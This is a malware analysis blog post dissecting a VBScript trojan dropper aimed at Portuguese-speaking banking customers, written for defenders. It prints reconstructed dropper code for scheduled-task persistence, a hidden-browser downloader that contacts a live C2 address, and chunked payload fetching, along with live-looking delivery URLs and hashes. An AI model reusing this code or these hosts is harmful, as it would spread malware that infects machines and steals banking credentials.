Dissecting a Brazilian Multi-Stage VBScript Trojan Dropper

Hey guys, I’m back with a new article, and this time we’re going to do something fun a full malware analysis of a real-world sample I got my hands on. This is a multi-stage VBScript Trojan dropper that specifically targets Portuguese-speaking users. We’ll go through the entire kill chain, from the initial delivery URL all the way down to deobfuscating the payload and understanding its C2 communication.

I think it’s important to mention that you should NEVER run malware outside of a sandboxed environment. If you want to follow along, make sure you’re working inside an isolated VM (check out my previous article on how to set one up !).

Let’s get into it !

Initial Delivery - The Lure

The malware is delivered via an Amazon S3 bucket URL:

https://nevavamos.s3.us-east-2.amazonaws.com/Comprovativo_Março_12-03-2026-fVFLCFw.zip

Already a few red flags just from the URL alone:

• nevavamos -> suspicious bucket name, not tied to any known org
• Comprovativo_Março -> Portuguese for “Receipt_March” - classic social engineering lure pretending to be a bank receipt or payment confirmation
• us-east-2 -> AWS Ohio region, but targeting Portuguese speakers ? Interesting.
• The random suffix fVFLCFw at the end is likely a campaign/victim identifier

Let’s pull the HTTP headers to see what we’re dealing with:

curl -sI "https://nevavamos.s3.us-east-2.amazonaws.com/Comprovativo_Mar%C3%A7o_12-03-2026-fVFLCFw.zip"

HTTP/1.1 200 OK
Date: Mon, 16 Mar 2026 22:34:03 GMT
Last-Modified: Thu, 12 Mar 2026 03:41:52 GMT
ETag: "7428829773dda5970862d4b44236a419-10"
x-amz-server-side-encryption: AES256
Accept-Ranges: bytes
Content-Type: application/zip
Content-Length: 49995765
Server: AmazonS3

~50MB ZIP file, uploaded on March 12th 2026. Let’s download and examine it.

Unpacking the ZIP

sha256: 9b1a2b025f5f9fcc13eec998aee04a640b3d2cf944b636ee3b2016e5e8167b5f
md5: 7e14bca371b09b68040ceb378b502915

Inside the ZIP we find two files:

This is interesting. We have a VBScript dropper (the initial stage) and a PE32 binary bundled together. The binary has no file extension on purpose - probably to avoid triggering basic AV heuristics on the ZIP contents.

Stage 1 - The VBScript Dropper

Overview

The VBS file is 5.4 MB and 10,116 lines long. That’s absolutely massive for a VBScript. Let’s see why.

wc -l extracted_payload.vbs
# 10116

Opening the first few lines reveals what’s going on:

hdlyxdBkoCvpAKLrsExomxHLaDuTdJGdsKRdRdMUnerXbn = UhiSmA1(122) + UhiSmA1(77) + UhiSmA1(89) + UhiSmA1(102) + ...
RSFCRKdhIooxNaEznecGcNDdOBSADSJqwZPEINsXlwrOnA = UhiSmA1(89) + UhiSmA1(121) + UhiSmA1(97) + UhiSmA1(121) + ...
WDkNVKiTqLpLFMkAgRGKvIBARvndsEFxPtDWlGWZJMhKIh = UhiSmA1(106) + UhiSmA1(79) + UhiSmA1(117) + ...

96.4% of the file is junk code. Out of 10,116 lines, only ~364 lines are meaningful. The rest is junk code, random variable names (30-45 characters long) assigned to random string concatenations. This is a classic anti-analysis padding technique to:

1. Overwhelm analysts who open the file
2. Slow down automated sandboxes
3. Make pattern matching harder for AV engines

The Obfuscation Layer - UhiSmA1()

The core obfuscation relies on a function called UhiSmA1 which is defined near the bottom of the file (line 9036):

Function UhiSmA1(rpidscSPL2)
    Dim OlsTuvw3
    OlsTuvw3 = " !""#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
    If rpidscSPL2 >= 32 And rpidscSPL2 <= 126 Then
        UhiSmA1 = Mid(OlsTuvw3, rpidscSPL2 - 31, 1)
    End If
End Function

This is functionally equivalent to Chr(N) it maps ASCII codes (32-126) to their character representation through a lookup string instead of using Chr() directly. Smart move to avoid signature detection on Chr() concatenation patterns, which is a well-known VBS obfuscation indicator.

Deobfuscation

I wrote a Python deobfuscator that resolves all UhiSmA1() calls and strips out the junk lines. After deobfuscation, we go from 10,116 lines down to 424 lines of clean, readable VBScript.

Stage 1 - Execution Flow (Deobfuscated)

Now that we can actually read the code, let’s walk through what it does step by step.

Step 1: Persistence via .lnk Shortcut

Sub IQQQDNlBYiabSN...()
    Set shell = CreateObject("WScript.Shell")
    Set fso = CreateObject("Scripting.FileSystemObject")
    appdata = shell.ExpandEnvironmentStrings("%APPDATA%")
    scriptPath = WScript.ScriptFullName
    lnkPath = appdata & "\" & fso.GetBaseName(scriptPath) & ".lnk"
    
    If Not fso.FileExists(lnkPath) Then
        Set shortcut = shell.CreateShortcut(lnkPath)
        shortcut.TargetPath = scriptPath
        shortcut.WorkingDirectory = fso.GetParentFolderName(scriptPath)
        shortcut.Save
    End If
End Sub

First thing it does: creates a .lnk shortcut in %APPDATA% pointing back to itself. This is a basic persistence mechanism.

Step 2: Move .lnk to Startup Folder via Scheduled Task

Sub thCdGRXkYWmHai...()
    ' ... builds command:
    cmd = "cmd /c move /Y " & Chr(34) & lnkPath & Chr(34) & " " & Chr(34) & startupFolder & "\" & lnkName & Chr(34)
    
    Set taskService = CreateObject("Schedule.Service")
    taskService.Connect
    Set taskDef = taskService.NewTask(0)
    
    ' Trigger: 15 seconds from now
    trigger.StartBoundary = FormatDateTime(DateAdd("s", 15, Now))
    
    ' Action: cmd.exe /c move the .lnk to Startup
    action.Path = "cmd.exe"
    action.Arguments = "/c " & cmd
    
    ' Hidden execution, no timeout
    taskDef.Settings.Hidden = True
    taskDef.Settings.ExecutionTimeLimit = "PT0S"
    
    taskService.GetFolder("\").RegisterTaskDefinition "-" & Second(Now), taskDef, 6, , , 3
End Sub

Instead of directly moving the file (which would be suspicious), it creates a Windows Task Scheduler job that runs cmd.exe to move the .lnk shortcut into the Startup folder 15 seconds later. The task is:

• Hidden (Settings.Hidden = True)
• No execution time limit (PT0S)
• Named with just a dash and the current second (-42, -17, etc.) to blend in

This ensures the malware survives reboots.

Step 3: Generate the C2 URL

Randomize
randomPage = Int(Rnd * 9999) & ".php"
c2URL = "http://18.230.59.64/" & randomPage

The C2 server is at http://18.230.59.64/ -> an AWS IP in the São Paulo (sa-east-1) region. The malware generates a random .php filename for each request, likely to make URL-based blocking harder.

Step 4: Write Stage 2 VBS to %TEMP%

This is where it gets really interesting. The script dynamically generates a second VBS file and writes it to %TEMP%\{random}.vbs. It writes it line by line, interspersed with more junk code padding:

Set fso = CreateObject("Scripting.FileSystemObject")
Set writer = fso.CreateTextFile(tempPath & "\" & randomNum & ".vbs", True)

' Write junk lines between each real line
For i = 1 To 39 : writer.WriteLine randomVar & " = " & Chr(34) & randomString & Chr(34) : Next
writer.WriteLine "Set shell = CreateObject(""WScript.Shell"")"
For i = 1 To 40 : writer.WriteLine randomVar & " = " & Chr(34) & randomString & Chr(34) : Next
' ... continues for hundreds of lines

The stage 2 payload is itself padded with junk code at write time ! Even the second stage will be obfuscated when written to disk.

Step 5: Schedule Stage 2 Execution

Function mWWtQEHQcbKJBSu...(vbsPath)
    Set taskService = CreateObject("Schedule.Service")
    taskService.Connect
    Set taskDef = taskService.NewTask(0)
    
    ' Trigger: 10 seconds from now
    trigger.StartBoundary = FormatDateTime(DateAdd("s", 10, Now))
    
    ' Action: wscript.exe with the dropped VBS
    action.Path = "wscript.exe"
    action.Arguments = """" & vbsPath & """"
    
    taskDef.Settings.Hidden = True
    taskService.GetFolder("\").RegisterTaskDefinition taskName, taskDef, 6, , , 3
End Function

Another hidden scheduled task, this time running wscript.exe with the stage 2 VBS as argument. Triggers 10 seconds later.

Step 6: Wait for Signal, Then Execute Downloaded Payload

' Launch stage 2
Call mWWtQEHQcbKJBSu...(stage2VbsPath)

' Poll for signal folder in %TEMP%
Do While Not fso.FolderExists(shell.ExpandEnvironmentStrings("%TEMP%") & "\" & signalFolder)
    WScript.Sleep 1000
Loop

' Signal received -> stage 2 completed download, now execute the payload
Call mWWtQEHQcbKJBSu...(downloadedPayloadPath)

This is a classic inter-process communication mechanism. Stage 1 polls for a specific folder in %TEMP%. When stage 2 finishes downloading the payload, it creates that folder as a signal. Stage 1 detects it and schedules the downloaded payload for execution.

Stage 2 - The Downloader (Generated at Runtime)

Stage 2 is the VBS file that stage 1 writes to disk. Here’s what it does (reconstructed from the WriteLine calls):

C2 Communication via Hidden Internet Explorer

' URL is stored reversed and decoded at runtime via StrReverse()
url = StrReverse("46.95.032.81//:ptth")  ' -> http://18.230.59.64/

Set ie = CreateObject("InternetExplorer.Application")
ie.Visible = False
ie.Navigate url
WScript.Sleep 5000

' Read the response from the hidden IE window
responseText = ie.Document.body.innerText
' Fallback methods if body.innerText is empty
If responseText = "" Then responseText = ie.Document.documentElement.innerText
If responseText = "" Then responseText = ie.LocationURL

ie.Stop
ie.Quit

Instead of using MSXML2.XMLHTTP or WinHttp directly (which are heavily monitored), the malware spawns a hidden Internet Explorer COM object to contact the C2 server. This is an evasion technique because:

1. IE traffic looks like normal user browsing to network monitors
2. It inherits the system’s proxy settings automatically
3. It bypasses some application-level firewalls
4. The COM interface is less commonly hooked by security tools

I was able to access the C2 while it was still live and confirmed what the response looks like:

The C2 responds with a second S3 URL from a different bucket:

https://recadastraria.s3.us-east-2.amazonaws.com/AgGzpIn

Note the bucket name recadastraria -> Portuguese for “re-register”, keeping with the banking/financial theme. This URL points to the actual Stage 3 payload (75MB of obfuscated VBScript, 131,575 lines !).

Chunked Binary Download via HTTP Range Requests

Function downloadPayload(url, savePath)
    Set http = CreateObject("MSXML2.XMLHTTP")
    
    ' First: HEAD request to get Content-Length
    http.Open "HEAD", url, False
    http.Send
    totalSize = http.GetResponseHeader("Content-Length")
    
    ' Calculate chunks
    chunkSize = 999999  ' ~1MB chunks (randomized between 999999-1999999)
    numChunks = Int(totalSize / chunkSize)
    remainder = totalSize Mod chunkSize
    
    Set outputStream = CreateObject("ADODB.Stream")
    outputStream.Type = 1  ' Binary
    outputStream.Open
    
    ' Download in chunks using Range header
    For chunk = 0 To numChunks
        rangeStart = chunk * chunkSize
        If chunk < numChunks Then
            rangeEnd = rangeStart + chunkSize - 1
        Else
            rangeEnd = rangeStart + remainder - 1
        End If
        
        Set http = CreateObject("MSXML2.XMLHTTP")
        http.Open "GET", url, False
        http.setRequestHeader "Range", "bytes=" & rangeStart & "-" & rangeEnd
        http.Send
        
        ' Append chunk to ADODB.Stream
        If http.Status = 206 Then
            Set chunkStream = CreateObject("ADODB.Stream")
            chunkStream.Open
            chunkStream.Type = 1
            chunkStream.Write http.ResponseBody
            chunkStream.Position = 0
            outputStream.Write chunkStream.Read
            chunkStream.Close
        End If
    Next
    
    outputStream.SaveToFile savePath, 2
    outputStream.Close
    
    ' Signal to Stage 1 by creating a folder
    CreateObject("Scripting.FileSystemObject").CreateFolder _
        fso.BuildPath(fso.GetSpecialFolder(2), signalFolderName)
End Function

The download uses HTTP Range requests to download in ~1MB chunks. This is another evasion technique:

• Avoids downloading a large suspicious binary in a single request
• Each chunk is too small to trigger size-based heuristics
• The chunked pattern mimics legitimate download managers
• Some proxies/IDS won’t reconstruct the full file from partial downloads

After download completes, it creates the signal folder in %TEMP% to notify stage 1.

Call Chain Obfuscation

The stage 2 VBS also includes a randomized call chain (7-27 nested functions/subs that call each other) before reaching the actual download function. This makes static analysis of the call graph harder:

randomSub1() -> randomSub2() -> ... -> randomSubN() -> actualDownloadFunction()

Stage 3 - The Final VBS Payload (75MB !)

The payload downloaded from the C2 is another massive obfuscated VBScript -> 131,575 lines, 75MB. Same obfuscation pattern but using zoMcM() instead of UhiSmA1(). The function names are in Portuguese (inflemoUu, afanosaspW, paparicarmoHo, fiscalizamxN) - further confirming Brazilian authorship.

SHA256: 046b7c23ec7b8649bae879c341cbeba120f26e04a89190a8f458e35702fee5e8
Size:   75 MB (131,575 lines)
Type:   ASCII text (obfuscated VBScript)

Key capabilities found after grepping through the code:

This is the actual banking trojan loader -> it fingerprints the system, checks for AV, downloads and drops a DLL payload, and sets up persistence. The 15-minute sleep (WScript.Sleep 15 * 60 * 1000) between retries shows it’s designed for stealth over speed.

The PE32 Binary - Trojanized .NET Framework Installer

Let’s look at the PE32 binary that was bundled in the ZIP.

SHA256: 1731e53de5f48baae0963677257660df1329549e81c48b4d7db7f7f3f2329aab
File:   PE32 executable (GUI) Intel 80386, for MS Windows
Size:   47 MB

PE Header Analysis

Version Info - The Disguise

CompanyName:      Microsoft Corporation
FileDescription:  Microsoft .NET Framework 2.0 SP1 Setup
FileVersion:      2.1.21022.08
OriginalFilename: NetFx20SP1_x64.exe
LegalCopyright:   © Microsoft Corporation. All rights reserved.

The binary is masquerading as a legitimate Microsoft .NET Framework 2.0 SP1 installer ! It even has a second version info block revealing it’s actually a self-extracting cabinet (sfxcab):

FileDescription: sfxcab
InternalName:    sfxcab
OriginalFilename: sfxcab.exe

Section Analysis

That .rsrc section is 49MB with entropy of 8.00 (maximum). This means the resource section contains packed/encrypted data - likely the actual malicious payload embedded within the fake installer. The small .text section (30KB) is just the SFX extraction stub.

Interesting Strings

.\Setup.EXE
.\SitSetup.DLL
.\GenComp.dll
.\VS_Setup.dll
.\VS70UIMgr.dll
.\DeleteTemp.exe
.\dlmgr.dll
.\HtmlLite.dll
temp\ext

And notably:

<ms_asmv2:requestedExecutionLevel level="requireAdministrator" uiAccess="false">

The binary requests admin privileges via its manifest. When executed, the user will see a UAC prompt impersonating a Microsoft .NET Framework installer - a very convincing social engineering trick.

Note on enterprise environments: In a professional environment where users are not local administrators, the UAC prompt would request local admin credentials that the user simply doesn’t have especially in organizations using LAPS (Local Administrator Password Solution) where the local admin password is randomized and managed by Active Directory. The PE32 binary would fail to elevate and won’t execute. However, this only blocks the PE32 component. The entire VBScript chain (Stages 1, 2, and 3) runs entirely in user context without requiring any admin privileges, persistence via Startup folder, scheduled tasks with user-level permissions, C2 communication, and DLL dropping to %APPDATA% all work without elevation. So in practice, the core malware functionality (reconnaissance, C2 beaconing, payload download) still succeeds even in hardened enterprise environments. The requireAdministrator manifest suggests this malware primarily targets home users and small businesses where users typically have local admin rights.

Suspicious API Imports

KERNEL32.dll: CreateProcessA, WriteFile, CreateThread, GetEnvironmentVariableA, 
              ExpandEnvironmentStringsA, GetExitCodeProcess, ...
ADVAPI32.dll: OpenProcessToken, GetTokenInformation, AllocateAndInitializeSid,
              InitiateSystemShutdownA, CryptAcquireContextA, CryptGenRandom, ...
ntdll.dll:    NtAdjustPrivilegesToken, NtOpenProcessToken, NtShutdownSystem, NtClose

Key takeaways:

• Process creation (CreateProcessA, GetExitCodeProcess) - spawns child processes
• Token manipulation (NtAdjustPrivilegesToken, OpenProcessToken) - privilege escalation
• Crypto APIs (CryptAcquireContextA, CryptGenRandom) - encryption capabilities
• System shutdown (NtShutdownSystem, InitiateSystemShutdownA) - can shutdown the machine (possibly anti-analysis or post-exfiltration cleanup)

Kill Chain Summary

Here’s the complete attack flow:

flowchart TD
    A["1. Victim receives S3 link\n(Bank Receipt lure)"] --> B["2. ZIP downloaded\nmalicious.vbs + fake .NET installer"]
    B --> C["3. Victim double-clicks .vbs"]
    C --> D["4. Stage 1 - VBS Dropper"]

    D --> D1[".lnk persistence in %APPDATA%"]
    D --> D2["Scheduled task moves .lnk\nto Startup folder via cmd.exe"]
    D --> D3["Writes Stage 2 VBS to %TEMP%\n(padded with junk code)"]
    D --> D4["Schedules Stage 2 via wscript.exe"]
    D --> D5["Polls %TEMP% for signal folder"]

    D4 --> E["5. Stage 2 - VBS Downloader"]
    E --> E1["Hidden IE COM object\nInternetExplorer.Application"]
    E1 --> E2["GET http://18.230.59.64/random.php"]
    E2 --> E3["C2 responds with S3 URL\nrecadastraria.s3.amazonaws.com"]
    E3 --> E4["Chunked download via\nHTTP Range requests (~1MB)"]
    E4 --> E5["Creates signal folder in %TEMP%"]

    E5 --> F["6. Stage 1 detects signal\nSchedules Stage 3 execution"]

    F --> G["7. Stage 3 - Banking Trojan Loader\n(131K lines, Portuguese function names)"]
    G --> G1["Fingerprints OS, network, processes"]
    G --> G2["AV detection via SecurityCenter2"]
    G --> G3["Downloads and drops .dll\nto %APPDATA%"]
    G --> G4["Scheduled tasks + Startup persistence"]
    G --> G5["Self-cleans dropped VBS files"]

    style A fill:#8b0000,stroke:#ff4444,color:#fff
    style D fill:#1a1a2e,stroke:#e94560,color:#fff
    style E fill:#1a1a2e,stroke:#e94560,color:#fff
    style G fill:#1a1a2e,stroke:#e94560,color:#fff
    style E2 fill:#0f3460,stroke:#16213e,color:#fff
    style E3 fill:#0f3460,stroke:#16213e,color:#fff

MITRE ATT&CK Mapping

Indicators of Compromise (IOCs)

Hashes

Network

Host

Conclusion

This is a well-crafted piece of malware that’s clearly targeting Brazilian or Portuguese-speaking banking customers. The multi-stage approach with inter-process signaling via filesystem polling, the use of hidden IE COM objects for C2, and the chunked download mechanism show a level of sophistication that goes beyond your average script kiddie dropper.

The obfuscation technique of padding the VBS with 96% junk code is effective but also lazy in a way, it inflates the file to 5.4MB which is unusual for a VBS and could itself be a detection indicator. The UhiSmA1() Chr() wrapper is a nice touch though, avoiding direct Chr() concatenation patterns that most AV signatures look for.

The PE32 binary masquerading as a .NET Framework installer with a requireAdministrator manifest is a clever social engineering touch, most users would click “Yes” on a UAC prompt from something that looks like a Microsoft installer.

If you see any S3 links with Portuguese filenames showing up in your inbox… maybe don’t click them.

Stay safe out there !